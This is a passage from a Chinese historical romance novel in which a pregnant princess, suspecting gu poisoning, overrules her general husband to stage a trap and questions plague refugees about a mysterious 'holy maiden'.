“殿下舟车劳顿,又受了惊吓,气血有些虚浮。”江令舟垂下眼,避开她的探询,“好生休养便无大碍。” “江令舟,”黎音袅叫他的名字,语气平静,却带着不容辩驳的穿透力,“看着我。说实话。” 江令舟沉默了片刻,终是抬起头,黑沉的眸子对上她清冷的视线:“脉象有些古怪。不像是动了胎气,倒像是……中了什么邪祟之术。” 邪祟之术。 这个词让春禾的脸“唰”地一下白了。黎音袅的心却反而沉静下来。恐惧源于未知,当最坏的猜测得到印证,剩下的便只有如何应对。 “是蛊。”她断言道,“南疆毒蛊门,最擅长的就是这些阴损手段。方才那刺客,恐怕不只是想杀我,她接近我,本身就是一个引子。” “为夫这就去提审她!”江令舟霍然起身。 “不必了。”黎音袅叫住他,“她只是个死士,一枚弃子。就算撬开她的嘴,也问不出解蛊的法子。那位‘圣女’,既然敢用,就没打算让我们轻易解开。” 她看向自己的小腹,那里面的小生命,此刻正与一种看不见的邪恶力量共存。这比任何刀剑都让她感到寒冷。 江令舟重新在她面前站定,周身气息凛冽如冰:“为夫安心,已传令下去,从即刻起,您的饮食起居,皆由我亲卫接管,绝不让外人沾手。待天亮之后,我们便启程回京,京中有御医国手,总有办法。” “回京?”黎音袅轻笑一声,那笑意却未达眼底,“江令舟,你以为回京就安全了?这条路有多长,那位‘圣女’就有多少机会下手。我们根本不知道她的人藏在哪里,也不知道她还会用什么手段。” 她顿了顿,一字一句道:“被动挨打,永远只能走向败亡。我们不能走。” 江令舟脸色一变:“殿下,不可!如今您身子要紧,任何风险都冒不得。只有尽快赶回京城,在最安全的地方,集众人之力,才是万全之策。” “万全之策?”黎音袅抬眼看他,眸光锐利如刀,“那么,你的万全之策是什么?龟缩在沿途的驿站里,将自己围成铁桶,然后日夜不眠地等着下一个刺客,下一种防不胜防的蛊虫?江令舟,躲是躲不掉的。” “那也比以身犯险要好!”江令舟的语气第一次带上了几分失控的强硬,“守护你是身为丈夫的职责所在,便是护您周全,绝不能让您和皇嗣冒一丝一毫的风险!” “你的职责,是辅佐我,而不是圈禁我。”黎音袅的声音冷了下去,“我若真有不测,你以为你能护得住我每时每刻吗?其实咱们的处境很艰难,回到京城更是,没有实力能在京城那样的虎狼窝里活下去吗?” 这句话,像一盆冰水,兜头浇在江令舟心上。他猛地攥紧了拳,骨节泛白。 客房内的空气仿佛凝固了,连炭火燃烧的噼啪声都显得格外刺耳。 春禾站在一旁,大气都不敢出,只觉得殿下和江将军之间的氛围,比外面的风雪还要冷。 许久,黎音袅再度开口,打破了这令人窒息的寂静:“与其坐以待毙,不如主动出击。” 江令舟抬眸,眼中满是血丝:“殿下想怎么做?” “那位‘苏木’,费尽心机给我下了蛊,必定会时刻关注我的状况。”黎音袅的指尖轻轻敲击着桌面,“我们,就让她‘看’到她想看的。” 她转向江令舟,眼中闪烁着近乎残酷的冷静光芒:“你即刻召程武来。” 江令舟没有动,只是固执地看着她:“殿下,您要做什么?” “我要你命人放出消息,就说我遇刺受惊,动了胎气,已呈败相,需在此地紧急寻访名医。” “胡闹!”江令舟脱口而出,声音之大,连他自己都吓了一跳。他意识到自己的失态,立刻单膝跪地,语气却依旧是毫不退让的恳求:“殿下,此举万万不可!这无异于将您自己置于明火之上,是引狼入室!若对方信以为真,派来的人恐怕就不是一个死士那么简单了!” “我就是要他们来。”黎音袅居高临下地看着他,神情没有半分动摇,“只有让他们觉得有机可乘,才会露出马脚。与其在暗处被他们一点点耗死,不如就在这里,设下一个局,将他们一网打尽。” “这太冒险了!我绝不同意!”江令舟的声音因为激动而沙哑。 “江令舟,”黎音袅的声音平静下来,却带着一种令人无法抗拒的威严,“这是命令。” 她不再看他,而是扬声对外喊道:“程武!” 门外立刻传来沉稳的应答声:“属下在!” 一名身着玄甲的校尉推门而入,正是江令舟的副将程武。他一进门,就感到屋内气氛不对,见自家将军单膝跪在地上,而主座上的殿下面沉如水,心头便是一跳。 “殿下,将军。”他躬身行礼。 黎音袅没有理会跪在地上的江令舟,直接对程武下令:“程武,你听令。即刻起,封锁驿站,但不必增派暗卫。然后,你亲自去城中最大的几家药铺,大张旗鼓地采买安胎固元的珍贵药材,姿态要做得急切。再派人去寻访方圆百里之内最有名的郎中,告诉他们,不惜一切代价,要保住我腹中胎儿。” 程武闻言一愣,下意识地看向江令舟,寻求指示。 江令舟依旧跪着,背脊挺得笔直,一言不发。 “怎么,”黎音袅的声音里带上了一丝危险的意味,“本宫的话,你没听见?还是说,在这行宫之外,本宫的命令,需要江将军点头才能作数?” 程武浑身一凛,再不敢迟疑,立刻抱拳领命:“属下遵命!这就去办!” 说完,他躬身后退,快步离去,全程未敢再多看江令舟一眼。 房门被重新关上,屋内复归寂静。 黎音袅端起那碗已经半凉的姜茶,一饮而尽。 一夜风雪,天地皆白。 次日清晨,驿站外的寒气仿佛能透过门缝渗进来。春禾为黎音袅披上厚重的狐裘,扶着她踏出房门。一夜未眠,黎音袅的脸上却看不出丝毫疲惫,只有一种被冰雪洗练过的清冷。她扶着腰,腹中那阵虚假的胎动早已平息,此刻安稳得如同无波的古井。 第170章职责 江令舟早已在门外等候,一身戎装,面容冷峻,眼下的青黑与眼中的血丝昭示着他同样整夜未合眼。他看见黎音袅,并未言语,只是行了一个标准的军礼,动作僵硬得像一尊铁像。 “将军昨夜辛苦了。”黎音袅的声音很淡,听不出情绪。 “这是我应该的。”江令舟的回答同样简短,每个字都像是从牙缝里挤出来的。 两人之间再无交流。 车队在沉默中启程,马蹄踏在积雪上,发出咯吱咯吱的声响。江令舟策马紧随在黎音袅的马车旁,像一尊沉默的守护神,又像一个无声的抗议者。 行至晌午,官道一侧的破败土墙下,忽然出现了一片蜷缩的人影。 马车缓缓停下。 那些人衣衫褴褛,与其说是衣服,不如说是布条。一张张脸蜡黄浮肿,嘴唇干裂,眼神空洞。孩童的啼哭声细弱而尖利,像一把钝刀,一下下割在人的心上。 黎音袅掀开车帘一角,视线穿过风雪,落在一个小女孩身上。那女孩不过五六岁的模样,正捧着自己冻得通红僵硬的手,一口一口地啃着上面沾着的、不知从哪里剥下来的树皮。 她的心像是被什么东西猛地攥了一下。 “春禾。”她开口。 “奴婢在。” “去问问,怎么回事。” 春禾领命下车,不多时便快步跑了回来,小脸冻得发白,声音里带着颤抖:“殿下,问清楚了。他们是从南边来的,说是……说是那边闹了瘟疫,十室九空,他们是逃荒出来的灾民。” 话音刚落,流民中一个看似有些力气的男人挣扎着站起来,冲着车队的方向嘶哑地喊道:“贵人……行行好吧!给口吃的吧!一口就行!” 他这一声仿佛点燃了引线,绝望的哀求声顿时此起彼伏,汇成一片令人心悸的浪潮。 江令舟立刻策马挡在车窗前,隔绝了那些视线,声音压得极低:“殿下,不可久留。这些人来路不明,恐有变故。我们必须立刻离开。” “来路不明?”黎音袅透过他身形的缝隙,看着那群绝望的人,“春禾不是已经问清了么?他们是南下的灾民。” “灾民也可能生乱!更何况他们口中的瘟疫……” “江令舟,”黎音袅打断他,“我若是在此地遇刺受惊,动了胎气,一个心怀仁善的储君之妻,看到此等惨状,是该视而不见,还是会心生怜悯?” 江令舟一愣,瞬间明白了她的意思。这又是她那个该死的“局”的一部分。 他胸口一阵烦恶,语气也冲撞起来:“所以殿下又要拿自己当诱饵?用金贵的米粮去喂一群不知道是人是鬼的流民,就为了让您的‘戏’更逼真一些?” “放肆!”黎音袅的声音不大,却让江令舟背脊一寒。 “殿下恕罪。”他嘴上请罪,态度却没有半分软化,“末将只是不解。昨夜的计策已是万分凶险,为何还要节外生枝?这些人里万一混入了贼人,或是他们本身就携带疫病,后果不堪设想!我们没有多余的兵力在此地设防!” “我就是要让他们觉得我们没有防备。”黎音袅平静地看着他,“一个因孕期不适而心绪不宁的女人,更容易感情用事,不是吗?这只会让暗处的人觉得,我,不堪一击。” 她顿了顿,话锋一转:“传令下去,取些干粮和热水给他们。” “我不同意!”江令舟几乎是吼出来的,“殿下,我们的补给是按行程计算的,并不宽裕!分给他们,我们自己的人吃什么?更何况一旦停下开伙,我们的行踪就彻底暴露了!” “我让你给,你就给。”黎音袅的声音冷了下来。 “殿下若执意如此,请先斩了末将!”江令舟的倔强也上来了,他勒紧缰绳,身躯如山,纹丝不动。 马车内的空气凝滞了。春禾跪在一旁,连呼吸都忘了。 许久,黎音袅忽然轻笑一声,那笑声在寒风中显得格外突兀。 “好一个忠心护主的江将军。”她掀开车帘,直视着江令舟的眼睛,“可你似乎忘了,你的职责,是在执行我的命令的同时,保障我的安全。而不是用你的想法,来替代我的决定。” 她环视了一圈因为这边的对峙而变得紧张的亲卫,扬声道:“程武何在?” 江令舟的脸色瞬间变得惨白。 程武驱马上前,在三步外停下,翻身下马,单膝跪地:“末将在!”他全程低着头,不敢看江令舟一眼。 “本宫的命令,江将军不肯听。”黎音袅的声音里带着一丝慵懒的危险,“你,去办。从后勤车上取五袋干粮,再烧些热水,分发下去。另外,找几个看起来能主事的过来回话,我要亲自问问南边的情况。” “这……”程武迟疑地抬头,飞快地瞥了一眼面如死灰的江令舟。 “怎么?”黎音袅的尾音微微上挑,“你也想让本宫斩了你,再换个人来?” “末将不敢!”程武浑身一震,立刻重重叩首,“末将遵命!” 说完,他立刻起身,转身大步走向车队后方,动作没有半分拖泥带水。 江令舟依旧骑在马上,像一尊被遗弃的石雕。寒风吹动他盔缨上的红穗,那抹红色,像是他脸上褪尽的血色。亲卫们在他的命令和程武的行动之间,选择了后者。很快,分发食物的队伍就组织了起来,在流民中引起了一阵骚动。 “江令舟,”黎音袅重新放下车帘,只留下一道缝隙,声音从里面传来,“你现在可以继续保护我了。过来,守在车边。我不希望有任何一个灾民,能靠近这辆马车三尺之内。” 这道命令,既是命令,也是羞辱。 让他亲眼看着自己反对的事情发生,还要尽职尽责地去收拾潜在的烂摊子。 江令舟闭上眼,再睁开时,眼中只剩下麻木的服从。他调转马头,来到车窗边,拔出佩剑,横于身前。 不多时,程武带着两个流民过来。一个是有过一面之缘的喊话男人,另一个则是个头发花白、眼神却还算清明的老者。 他们在五尺外被拦下,跪在雪地里。 “抬起头来。”黎音袅的声音传出。 两人战战兢兢地抬头。 “南方的瘟疫,是从何而起?官府如何应对的?” 老者磕了个头,回话还算有条理:“回贵人的话,是从渝州码头开始的,听说是外来的商船带来的。起初只是发热咳嗽,后来……后来人就没了。官府封了城,可哪里封得住……城里没吃的,大家只能往外逃……” 黎音袅静静地听着,手指无意识地敲击着身旁的暖炉。 “你们这一路,可曾听到什么特别的传闻?” 老者想了想,摇了摇头:“都在逃命,哪有心思听传闻……只盼着能到北边,有口活路。” 黎音袅的视线转向另一个男人:“你呢?” 那男人瑟缩了一下,结结巴巴地说:“小人……小人倒是听过一嘴。说……说渝州城里,有个什么‘圣女’降世,能用符水救人,好多人都去求她……” 圣女。黎音袅的指尖停住了。 她身旁的春禾也紧张地屏住了呼吸。 “哦?那圣女,叫什么名字?长什么样?”黎音袅的语气听不出任何变化。 “那……那小人就不知道了。小人也是听逃出来的人说的,没亲眼见过。都说那圣女慈悲心肠,救苦救难……” “好了,”黎音袅打断他,“你们退下吧。带着食物,往北走,去前面的朔安城,那里有官府的粥棚。” “谢贵人!谢贵人!”两人如蒙大赦,连连叩头,被士兵带了下去。 车帘内,黎音袅端起已经凉透的茶水,喝了一口。 春禾小声地问:“殿下,那‘圣女’,会是……” “不管是不是,”黎音袅放下茶杯,“这条线,都得查。” 她的目光再次投向窗外。流民们已经领完了食物,在士兵的驱赶和指引下,开始重新上路。人群中,那个啃树皮的小女孩被她母亲紧紧抱在怀里,怀里还揣着一个硬邦邦的麦饼。 一切似乎都在朝着“仁善”的方向发展。 可黎音袅的视线,却越过那些蹒跚的身影,定格在人群末尾。 那里,有一个身材中等的男人。他没有像其他人那样狼吞虎咽,也没有急着赶路。他只是站在那里,远远地,看着她的马车。 他的眼神,不像一个绝望的灾民。 那是一种审视,冷漠,又带着一丝不易察觉的探究。 黎音袅缓缓地,将车帘彻底合上。